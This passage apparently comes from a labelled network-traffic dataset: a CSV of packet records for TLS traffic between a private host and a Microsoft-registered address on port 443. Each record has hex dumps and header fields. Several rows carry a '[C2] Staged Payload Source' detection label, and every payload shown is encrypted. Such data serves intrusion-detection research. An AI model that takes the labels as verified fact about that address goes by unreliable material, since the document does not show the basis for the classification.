........D|uh.'.tw=P&.b.&..e.......!.i.3....$..@W.3j.Rpd.3 ..T.'.K.~...].f.V2..Kz.X.qV...\\zp.M..:C.....5R.'..../!Y@...&..@ .D...LA%N#Y...D.A.i......q...............~.e......u....$.r..&.....]r..@...v..QB.3....f...Q...Tz7..........R8..@\t.-....\n.....j...g.......;?..y...c.:.K.a..W.2..;..\"\".Y*b..s. i%..B.A.h .'_1.8..X...UH:^V.....=. ...>.M....I.~h...2...V....]...m.v.....iYg.t.P.Sk.....................Dj......7!(..\n.xB.>...\\.v.\n..A.@......f....Q\t[.`T\\.^.2.fNS.c.?..6\\^.%U.........e....7.Ez.&.P.d..3...\n...^y]m.z..C~.w\\..U3.=R..0......9.26...r..Pn...SQ`.,.:l.S..r|.........@Pb....k...c.KBx.<M..!M..w..}..Y#..c.]r....B...C...XKy..Pw*..O..N.....-A.....\"\"{....\t.....c.\n....\\j.._....]u{z..=.....l..vj._@......r~T.....Q...5.3z...b...7u.,...?m..y.............\n..D\"\"..>.....U._P..3l..|.S.....Je...\n....+...\nPX.,...|.f.w.=H......M....wf...L..[...6......Y....V?.>....3..x...XC.6).\t....[?....q%..T.......w.TC...~....A.[H{..yI*OA....s..a..V.....T:}yL..]S.....h........!...........:sb.}..]..^.?..%...J..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1107, \"\"id\"\": 1471, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 9004, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223502026, \"\"ack\"\": 193541612, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 4608, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xd1\\\\xdc\\\\r[\\\"\"4z\\\\xe2\\\\xae\\\\x85\\\\x1f\\\\xe4\\\\xa1\\\\x127\\\\xab.Xe\\\\xcc\\\\x85\\\\xcfJ\\\\x06y' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 774, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x036\\\\x0f\\\\xca\\\\x08L\\\\x87\\\\x06\\\\x1c\\\\x89\\\\xc1\\\\xc8v>\\\\x00b\\\\x978-\\\\xd9\\\\xf9\\\\xc3!\\\\xb2\\\\x00\\\\x97\\\\x1e\\\\xc6\\\\xb8\\\\xfb2Qt\\\\xe1\\\\xbd\\\\xda\\\\x02\\\\x99\\\\x15\\\\x0c\\\\xb5D|uh\\\\x90\\\\'\\\\x84tw=P&\\\\xd9b\\\\xe5&\\\\xfe\\\\xc0e\\\\xc8\\\\xcc\\\\xf3\\\\xec\\\\xc8\\\\x93\\\\x96!\\\\xa4i\\\\xc53\\\\xb3\\\\xde\\\\x1c\\\\x9d$\\\\x8e\\\\x9c@W\\\\xbd3j\\\\x7fRpd\\\\xcf3 \\\\xbd\\\\xe8T\\\\xda\\\\'\\\\xbbK\\\\x0e~\\\\xe6\\\\x8f\\\\x9b]\\\\xfaf\\\\xaaV2\\\\xb1\\\\xc4Kz\\\\x0eX\\\\xacqV\\\\xda\\\\x11\\\\x82\\\\\\\\zp\\\\xa1M\\\\x99\\\\xc7:C\\\\x88\\\\xd9\\\\x16\\\\xdb\\\\xae5R\\\\xa9\\\\'\\\\xf0\\\\xca\\\\xb9\\\\xe3/!Y@\\\\xb2\\\\xae\\\\xf9&\\\\xf0\\\\x90@ \\\\xb6D\\\\x0e\\\\x89\\\\xdaLA%N#Y\\\\xfd\\\\xa7\\\\xa8D\\\\x0cA\\\\xc8i\\\\xa7\\\\x85\\\\x0b\\\\x8c\\\\xec\\\\x8eq\\\\xf0\\\\x16\\\\x8b\\\\xd2\\\\x9c\\\\x80\\\\xd2\\\\xed\\\\xde\\\\x17\\\\x91\\\\xf5\\\\xf6\\\\x9a\\\\xae~\\\\x9ee\\\\xe3\\\\x04\\\\x98\\\\xb6\\\\xc7\\\\xcbu\\\\x99\\\\xeb\\\\xf4\\\\xea$\\\\xa8r\\\\xb0\\\\xca&\\\\xf4\\\\x8b\\\\xd8\\\\x1c\\\\x9f]r\\\\x8c\\\\xff@\\\\xc1\\\\xb8\\\\xbbv\\\\x0c\\\\xa2QB\\\\x8c3\\\\xf4\\\\xa7\\\\xe0\\\\xc3f\\\\x95\\\\xee\\\\x02Q\\\\x06\\\\xea\\\\xaaTz7\\\\xfa\\\\xc3\\\\xb6\\\\xe5\\\\x11\\\\x04\\\\xfb\\\\x0c\\\\xb8\\\\x88R8\\\\xa4\\\\xf1@\\\\t\\\\x00-\\\\xa6\\\\x1c\\\\xa8\\\\x80\\\\n\\\\x8f\\\\x0b\\\\x14\\\\x9c\\\\x96j\\\\x83\\\\xe0\\\\xa4g\\\\xb9\\\\xb7\\\\x00\\\\xaa\\\\xe1\\\\xbe\\\\xe3;?\\\\xcd\\\\xbay\\\\xfa\\\\x1e\\\\xacc\\\\xbd:\\\\x0cK\\\\xe9a\\\\xd6\\\\x05W\\\\xd72\\\\x14\\\\xa1;\\\\xe8\\\\xbc\\\"\"\\\\xf1Y*b\\\\x92\\\\xads\\\\x91 i%\\\\xbe\\\\xbcB\\\\x89A\\\\xbch \\\\xc3\\\\'_1\\\\xe68\\\\x08\\\\xa6X\\\\xb8\\\\x03\\\\xd6UH:^V\\\\x84\\\\x8d\\\\x9d\\\\xa3\\\\xb0=\\\\x03 \\\\xbc\\\\x7f\\\\xf1>\\\\x06M\\\\xb5\\\\xf3\\\\xac\\\\xf4I\\\\xee~h\\\\x9a\\\\x93\\\\x132\\\\xb6\\\\x98\\\\xe2V\\\\xc5\\\\xd8\\\\xff\\\\xd0]\\\\xdb\\\\xcb\\\\x99m\\\\x08v\\\\xda\\\\x12\\\\xcb\\\\x95\\\\xb9iYg\\\\x96t\\\\x1cP\\\\xbdSk\\\\x0f\\\\xea\\\\xaa\\\\x08\\\\x87\\\\xff\\\\xd6\\\\xc8\\\\xa3\\\\xe0\\\\xba\\\\xed.\\\\x89\\\\xe7\\\\xcd\\\\x9e\\\\xb0\\\\x9d\\\\xbf\\\\x07Dj\\\\x0c..\\\\xf7\\\\xb9\\\\x8f7!(\\\\x82\\\\xbc\\\\r\\\\xa3xB\\\\x8f>\\\\xee\\\\xd9\\\\x12\\\\\\\\\\\\xf9v\\\\xe5\\\\n\\\\xd7\\\\xbbA\\\\xbc@\\\\xa0\\\\x8d\\\\x0b\\\\xd8\\\\x07\\\\x1ff\\\\xcc\\\\x12\\\\x81\\\\x10Q\\\\t[\\\\xdb`T\\\\\\\\\\\\x9a^\\\\xc22\\\\xc9fNS\\\\x9fc\\\\xc3?\\\\xe9\\\\xa16\\\\\\\\^\\\\xe8%U\\\\x7f\\\\xae\\\\x16\\\\x0c\\\\x1d\\\\xdb\\\\x0b\\\\xa5\\\\xa7e\\\\x93\\\\xaa\\\\x04\\\\x8b7\\\\x9bEz\\\\xc6&\\\\x9eP\\\\xd0d\\\\x0b\\\\xd13\\\\xfc\\\\xa9\\\\x9f\\\\n\\\\xcd\\\\xfa\\\\xd0^y]m\\\\xcez\\\\xae\\\\xceC~\\\\x1dw\\\\\\\\\\\\xd9\\\\x18U3\\\\xc8=R\\\\xe0\\\\x850\\\\x97\\\\x90\\\\xdd\\\\xbf\\\\xc2\\\\x079\\\\x1226\\\\xc4\\\\xea\\\\x94r\\\\xf0\\\\xcePn\\\\x89\\\\x9b\\\\xd5SQ`\\\\x94,\\\\xd5:l\\\\xadS\\\\x80\\\\x90r|\\\\x1d\\\\xc4\\\\x1f\\\\x81\\\\xe2\\\\x8e\\\\xe6\\\\xb8\\\\xff@Pb\\\\x1e\\\\x01\\\\xb6\\\\xb0k\\\\x91\\\\xd7\\\\xabc\\\\xe4KBx\\\\x04<M\\\\x1b\\\\xfa!M\\\\x01\\\\x8bw\\\\xce\\\\xcc}\\\\x03\\\\x19Y#\\\\x08\\\\x81c\\\\xe6]r\\\\x8f\\\\x98\\\\xab\\\\xe6B\\\\xbc\\\\x08\\\\xf7C\\\\xb1\\\\x89\\\\xc6XKy\\\\xeb\\\\xf0Pw*\\\\x81\\\\xe3O\\\\x05\\\\xf6N\\\\x16\\\\x1a\\\\xf0\\\\xf7\\\\x91-A\\\\xf3\\\\x0c\\\\xfb\\\\x8d\\\\xa7\\\"\"{\\\\x84\\\\xf7\\\\xad\\\\x1c\\\\t\\\\x1c\\\\xa7\\\\xde\\\\xbb\\\\x93c\\\\xd7\\\\r\\\\x83\\\\x84\\\\x1b\\\\xaf\\\\\\\\j\\\\xc0\\\\xb6_\\\\x86.\\\\x98\\\\x08]u{z\\\\x86\\\\x8a=\\\\xa6\\\\xa1\\\\xca\\\\xa0\\\\x94l\\\\x04\\\\xd3vj\\\\xeb_@\\\\x82\\\\x93\\\\x1f\\\\x8c\\\\xf3\\\\x9dr~T\\\\x1f\\\\xb4\\\\xd4\\\\x8c\\\\x01Q\\\\xdc\\\\x95\\\\xd85\\\\x1f3z\\\\xc1\\\\xd2\\\\xe0b\\\\xf3\\\\xc2\\\\x867u\\\\xfa,\\\\xa2\\\\xc3\\\\x19?m\\\\x1b\\\\xd1y' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 207, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\r\\\\x9f\\\\x85D\\\"\"\\\\x9a\\\\xda>\\\\xf4\\\\xf1\\\\x9d\\\\xd3\\\\xd8U\\\\x85_P\\\\xe1\\\\x9e3l\\\\x98\\\\x16|\\\\xe0S\\\\xea\\\\xd8\\\\x0b\\\\xf3\\\\xc9Je\\\\x10\\\\xae\\\\xb1\\\\r\\\\xc8\\\\xfb\\\\xfb\\\\xec+\\\\xde\\\\x19\\\\x90\\\\rPX\\\\x06,\\\\x8e\\\\x87\\\\xfd|\\\\xb9f\\\\xe9w\\\\xab=H\\\\x11\\\\xb4\\\\xf7\\\\xc8\\\\x8f\\\\x16M\\\\xcf\\\\x7f\\\\x92\\\\x07wf\\\\xcd\\\\xd7\\\\xaaL\\\\xa9\\\\x81[\\\\x1c\\\\x94\\\\x046\\\\xab\\\\x99\\\\xd0\\\\x9b\\\\xde\\\\xdfY\\\\xd7\\\\xc5\\\\xdf\\\\x0cV?\\\\xd9>\\\\x89\\\\xbd\\\\xf5\\\\xe63\\\\x08\\\\x14x\\\\xc0\\\\x08\\\\x9fXC\\\\xd86)\\\\x8d\\\\t\\\\xaa\\\\xef\\\\x94\\\\x98[?\\\\x88\\\\xee\\\\x04\\\\xefq%\\\\xf5\\\\xc5T\\\\xeb\\\\xfb\\\\xca\\\\xd2\\\\xeb\\\\x1d\\\\x16w\\\\xdeTC\\\\xe7\\\\x13\\\\xed~\\\\x08\\\\xe0\\\\x9b\\\\xe9A\\\\xe2[H{\\\\x00\\\\xbfyI*OA\\\\x08\\\\xbc\\\\xf5\\\\xebs\\\\x8f\\\\xd7a\\\\xa9\\\\xdfV\\\\x14\\\\x86\\\\x00\\\\x94\\\\xe5T:}yL\\\\xee\\\\xe7]S\\\\xb7\\\\xea\\\\x83\\\\x86\\\\x1dh\\\\xd9\\\\x04\\\\x84\\\\x90' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xdf\\\\x88\\\\xd1:sb\\\\xd2}\\\\xa0\\\\xf5]\\\\xc3\\\\x9e^\\\\xbd?\\\\xbb\\\\xcd%\\\\xf9\\\\x91\\\\xe1J\\\\xcb\\\\x07' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:45.669366,43,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=193541612 Ack=1223503093,bc24112907bbbc2411360d0c0800450000288efd400080065e180a98980b84f5e621f9dc01bb0b8935ec48ed2cf550100400eb2a0000,\".$.)...$.6\n...E..(..@...^.\n......!......5.H.,.P....*..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36605, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24088, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541612, \"\"ack\"\": 1223503093, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 60202, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:45.670951,44,TCP 10.152.152.11:63964 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,63964,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=193541612 Ack=1223503093,bc24112907bbbc2411360d0c0800450000688efe400080065dd70a98980b84f5e621f9dc01bb0b8935ec48ed2cf55018040095210000170303003b0000000000000004dc0021170ef9c64a6a3849d66929b163678309876101c926831cf0223c799254981bf50edfb5a9dfc39a993aa92b14c26d41a1,\".$.)...$.6\n...E..h..@...].\n......!......5.H.,.P....!......;..........!....Jj8I.i).cg.\t.a..&...\"\"<y.T...........:.+..mA.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 36606, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24023, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 193541612, \"\"ack\"\": 1223503093, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 38177, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xdc\\\\x00!\\\\x17\\\\x0e\\\\xf9\\\\xc6Jj8I\\\\xd6i)\\\\xb1cg\\\\x83\\\\t\\\\x87a\\\\x01\\\\xc9&\\\\x83\\\\x1c\\\\xf0\\\"\"<y\\\\x92T\\\\x98\\\\x1b\\\\xf5\\\\x0e\\\\xdf\\\\xb5\\\\xa9\\\\xdf\\\\xc3\\\\x9a\\\\x99:\\\\xa9+\\\\x14\\\\xc2mA\\\\xa1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:45.670962,45,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1223503093 Ack=193541676,bc2411360d0cbc24112907bb08004500002805c040004006275684f5e6210a98980b01bbf9dc48ed2cf50b89362c5010003f0dd50000,\".$.6\n..$.)....E..(..@.@.'V...!\n.......H.,...6,P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1472, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10070, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223503093, \"\"ack\"\": 193541676, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:46.405661,46,TCP 132.245.230.33:443 -> 10.152.152.11:63964,132.245.230.33,10.152.152.11,443,63964,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1223503093 Ack=193541676,bc2411360d0cbc24112907bb0800450002fb05c140004006248284f5e6210a98980b01bbf9dc48ed2cf50b89362c5018003f10a8000017030302ce000000000000000635ff5a1be6ec5d7e39df88b654ca5ddab4b52e4e64e3edca5f81248ae93aaa9c2fe78618da0746a9587381f8a9a59624137a02be200ec86dd7871984dbeabd7b43632c757292e12856ce524c1a8d69ca800dc65a52e281f7f073a74b39fddca604cc18ec24d2bb51a4cdde2936bc738fd0b1484cfb71953a05058d40d5b389169e99f5e46383fe08436229f691d581cd6f29851d17db42a5fa69b8924bfbd969be6bacc99b26cf50f6f1b869cc3208d00e22f501c661ccc8f14c03f48ffdb8809d81e580a27f766a157ad4a6ead798c8cdefee649762775324ecca342772ab5691f2a06aa5ef20b82dfc57a7dd2727c7c3a47aaf792d298b610227d1a1ae68c4be2deed855552fd037dc7b826deacb805225d3f6a0b237c326467318cb65fd259ec1fda701129fd0a5308df7f2ca2215b76070e8eae9169159f7487861c4cb0241ef196ed55caafc5fc6f2656b040aab81752738b275fc28379db4c754014639e69ccafe8b7ea8764b7618b08ff8d19b52a71a94ea752b0652044c83f6075fdc0fcdc0c848a8eb33602578c910045246f9a32a52d2abce511794db9b7bc6493a4eeb0f081a14d8b9073380299f0e9e10e4c453806e9782fe718de7e33d7b567d6288d8cfdaf54fdf6a7a5e08e3fe034fa460ec4b83b545d59b7e092cabec4ab579f255cb31375d863d77dc95db315132f5fe9482bb277033a73eab8ebe69629f129c23227d87eef474a75603847effae7df3b556e0741f1d6b611fd2138f96a8f4c0db770401bc1cc3ee0cbdd61b5b1e8e0229938ae04c8f1a372b678c308a30b41f93951a1de73a389e211309cb0400b9a60fc055ceb01958482c63c7298de48327bad29fccacb8c2ec1c5e09cb965e0a04e889d5d5d775f054e3fb840fc2f8565d4d12ce301a2ea29b0c11238eb0c74e1a5b329da45648f0b98db7d48a03434789050d7d3784346cc6cb564652389766222af63ea7ac07e472312f46937b9c6daa92868529,\".$.6\n..$.)....E.....@.@.$....!\n.......H.,...6,P..?.................5.Z...]~9...T.]....Nd..._.$..:../.....F.Xs.....$.z.. ..m.......{Cc,ur..(V.RL..i..\n.ZR....s.K9.......$..Q...)6.s...HL.q.:...@........c...Cb).....o)....B..i..K..i.k...&.P...i.2...\"\"...a...L............vj.z.........d.bwS$..4'r.V...j.. .-.W..''...z.y-).a.'...h..-..UU/.7.{.m...R%....7.&Fs..e.%.........0....\"\"..`p.....Y.Hxa...A..n.\\.._..ek.\n..u'8.u.(7...T.F9.....~.vKv......R....u+.R.L..._.....H..3`%x...RF..*R...Q....{.I:N........3.)......S.n...q...={V}b.....O.jz^....O.`.K..E..~\t,..J.y.U.17].=w...1Q2.....'p3.>...ib...#\"\"}...t.V..~..}..V.t..ka.........w..........[...)...L..7+g.0.0.......:8.!.\t.......U...XH,c.)...'.........^\t..^\n......u.T......V]M..0......#...N.[2..VH.......CG..\n}7.4l..VFR8.f\"\"*.>....r1/F.{.m....)\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 763, \"\"id\"\": 1473, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 9346, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 1223503093, \"\"ack\"\": 193541676, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 4264, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 718, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x065\\\\xffZ\\\\x1b\\\\xe6\\\\xec]~9\\\\xdf\\\\x88\\\\xb6T\\\\xca]\\\\xda\\\\xb4\\\\xb5.Nd\\\\xe3\\\\xed\\\\xca_\\\\x81$\\\\x8a\\\\xe9:\\\\xaa\\\\x9c/\\\\xe7\\\\x86\\\\x18\\\\xda\\\\x07F\\\\xa9Xs\\\\x81\\\\xf8\\\\xa9\\\\xa5\\\\x96$\\\\x13z\\\\x02\\\\xbe \\\\x0e\\\\xc8m\\\\xd7\\\\x87\\\\x19\\\\x84\\\\xdb\\\\xea\\\\xbd{Cc,ur\\\\x92\\\\xe1(V\\\\xceRL\\\\x1a\\\\x8di\\\\xca\\\\x80\\\\r\\\\xc6ZR\\\\xe2\\\\x81\\\\xf7\\\\xf0s\\\\xa7K9\\\\xfd\\\\xdc\\\\xa6\\\\x04\\\\xcc\\\\x18\\\\xec$\\\\xd2\\\\xbbQ\\\\xa4\\\\xcd\\\\xde)6\\\\xbcs\\\\x8f\\\\xd0\\\\xb1HL\\\\xfbq\\\\x95:\\\\x05\\\\x05\\\\x8d@\\\\xd5\\\\xb3\\\\x89\\\\x16\\\\x9e\\\\x99\\\\xf5\\\\xe4c\\\\x83\\\\xfe\\\\x08Cb)\\\\xf6\\\\x91\\\\xd5\\\\x81\\\\xcdo)\\\\x85\\\\x1d\\\\x17\\\\xdbB\\\\xa5\\\\xfai\\\\xb8\\\\x92K\\\\xfb\\\\xd9i\\\\xbek\\\\xac\\\\xc9\\\\x9b&\\\\xcfP\\\\xf6\\\\xf1\\\\xb8i\\\\xcc2\\\\x08\\\\xd0\\\\x0e\\\"\"\\\\xf5\\\\x01\\\\xc6a\\\\xcc\\\\xc8\\\\xf1L\\\\x03\\\\xf4\\\\x8f\\\\xfd\\\\xb8\\\\x80\\\\x9d\\\\x81\\\\xe5\\\\x80\\\\xa2\\\\x7fvj\\\\x15z\\\\xd4\\\\xa6\\\\xea\\\\xd7\\\\x98\\\\xc8\\\\xcd\\\\xef\\\\xeed\\\\x97bwS$\\\\xec\\\\xca4\\\\'r\\\\xabV\\\\x91\\\\xf2\\\\xa0j\\\\xa5\\\\xef \\\\xb8-\\\\xfcW\\\\xa7\\\\xdd\\\\'\\\\'\\\\xc7\\\\xc3\\\\xa4z\\\\xafy-)\\\\x8ba\\\\x02\\\\'\\\\xd1\\\\xa1\\\\xaeh\\\\xc4\\\\xbe-\\\\xee\\\\xd8UU/\\\\xd07\\\\xdc{\\\\x82m\\\\xea\\\\xcb\\\\x80R%\\\\xd3\\\\xf6\\\\xa0\\\\xb27\\\\xc3&Fs\\\\x18\\\\xcbe\\\\xfd%\\\\x9e\\\\xc1\\\\xfd\\\\xa7\\\\x01\\\\x12\\\\x9f\\\\xd0\\\\xa50\\\\x8d\\\\xf7\\\\xf2\\\\xca\\\"\"\\\\x15\\\\xb7`p\\\\xe8\\\\xea\\\\xe9\\\\x16\\\\x91Y\\\\xf7Hxa\\\\xc4\\\\xcb\\\\x02A\\\\xef\\\\x19n\\\\xd5\\\\\\\\\\\\xaa\\\\xfc_\\\\xc6\\\\xf2ek\\\\x04\\\\n\\\\xab\\\\x81u\\\\'8\\\\xb2u\\\\xfc(7\\\\x9d\\\\xb4\\\\xc7T\\\\x01F9\\\\xe6\\\\x9c\\\\xca\\\\xfe\\\\x8b~\\\\xa8vKv\\\\x18\\\\xb0\\\\x8f\\\\xf8\\\\xd1\\\\x9bR\\\\xa7\\\\x1a\\\\x94\\\\xeau+\\\\x06R\\\\x04L\\\\x83\\\\xf6\\\\x07_\\\\xdc\\\\x0f\\\\xcd\\\\xc0\\\\xc8H\\\\xa8\\\\xeb3`%x\\\\xc9\\\\x10\\\\x04RF\\\\xf9\\\\xa3*R\\\\xd2\\\\xab\\\\xceQ\\\\x17\\\\x94\\\\xdb\\\\x9b{\\\\xc6I:N\\\\xeb\\\\x0f\\\\x08\\\\x1a\\\\x14\\\\xd8\\\\xb9\\\\x073\\\\x80)\\\\x9f\\\\x0e\\\\x9e\\\\x10\\\\xe4\\\\xc4S\\\\x80n\\\\x97\\\\x82\\\\xfeq\\\\x8d\\\\xe7\\\\xe3={V}b\\\\x88\\\\xd8\\\\xcf\\\\xda\\\\xf5O\\\\xdfjz^\\\\x08\\\\xe3\\\\xfe\\\\x03O\\\\xa4`\\\\xecK\\\\x83\\\\xb5E\\\\xd5\\\\x9b~\\\\t,\\\\xab\\\\xecJ\\\\xb5y\\\\xf2U\\\\xcb17]\\\\x86=w\\\\xdc\\\\x95\\\\xdb1Q2\\\\xf5\\\\xfe\\\\x94\\\\x82\\\\xbb\\\\'p3\\\\xa7>\\\\xab\\\\x8e\\\\xbeib\\\\x9f\\\\x12\\\\x9c#\\\"\"}\\\\x87\\\\xee\\\\xf4t\\\\xa7V\\\\x03\\\\x84~\\\\xff\\\\xae}\\\\xf3\\\\xb5V\\\\xe0t\\\\x1f\\\\x1dka\\\\x1f\\\\xd2\\\\x13\\\\x8f\\\\x96\\\\xa8\\\\xf4\\\\xc0\\\\xdbw\\\\x04\\\\x01\\\\xbc\\\\x1c\\\\xc3\\\\xee\\\\x0c\\\\xbd\\\\xd6\\\\x1b[\\\\x1e\\\\x8e\\\\x02)\\\\x93\\\\x8a\\\\xe0L\\\\x8f\\\\x1a7+g\\\\x8c0\\\\x8a0\\\\xb4\\\